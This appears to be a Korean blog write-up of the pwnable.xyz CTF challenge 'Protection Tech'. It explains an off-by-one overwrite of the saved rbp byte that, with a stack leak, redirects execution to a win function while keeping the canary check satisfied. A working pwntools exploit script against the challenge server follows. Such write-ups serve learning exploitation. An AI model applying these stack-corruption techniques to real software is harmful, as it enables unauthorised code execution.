# Protection Tech
# process
메뉴 1 : v6로 뛸 수 있다. v6를 win 함수로 변조할 수 있고 v5 == canary인 조건을 만족한다면 win 함수로 뛰어서 win 함수를 실행할 수 있다.
1. stack leak
Environ 주소 받아서 rbp 주소 구한다. rbp = environ – 248
2. read_int8 함수에서 rbp의 하위 1바이트를 v6의 하위 1바이트로 변조한다.
메뉴 번호를 입력받는 read_int8() 함수에서 1바이트 overflow, 즉 off by one이 일어난다.
그럼 read_int8 함수가 리턴 시 rbp에 담긴 주소로 돌아가므로 v6로 갈 것이다.
원래 read_int8 시 rbp는 rbp-0x11인데 v6 위치인 rbp-0x8로 rbp를 바꾸기 위해 v6가 더 앞에 있으므로 차이 9만큼 더한다.
1바이트 변조이므로 rbp&0xff 한 값에 9를 더한 것을 0x20의 더미 + 1바이트로 주면 리턴 시 v6로 리턴 가능하다.
3. v6에 win 함수의 하위 1바이트로 변조. 1번 메뉴 선택 시 win 함수로 JUMP 가능
4. read_int8() 시 rbp의 하위 1바이트를 다시 원래 rbp 하위 1바이트로 바꾼다.
-1번 메뉴에서 v5 == canary여야 JUMP를 하게 해주기 때문
5. 1번 메뉴 선택. Win 함수로 이동해서 flag 출력
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30012)
elf = ELF("./challenge")
win = elf.symbols['win']
# stack leak
p.sendlineafter("> ", '3')
environ = int(p.recvline(), 16)
log.info("environ : "+hex(environ))
rbp = environ - 248
# [rbp-0x11] -> [rbp - 0x8] : 9 offset
p.sendafter("> ", 'A'*0x20 + p8((rbp&0xff) + 9))
# v6 -> win
p.sendafter("> ", str(win&0xff))
p.sendafter("> ", 'A'*0x20 + p8(rbp&0xff))
p.sendafter("> ", '1')
p.interactive()
# exploit
[pwnable.xyz] badayum (0) | 2020.02.28 |
---|---|
[pwnable.xyz] executioner (0) | 2020.02.28 |
[pwnable.xyz] strcat (0) | 2020.02.27 |
[pwnable.xyz] fclose (fSOP) (1) | 2020.02.10 |
[pwnable.xyz] SUS (0) | 2020.02.05 |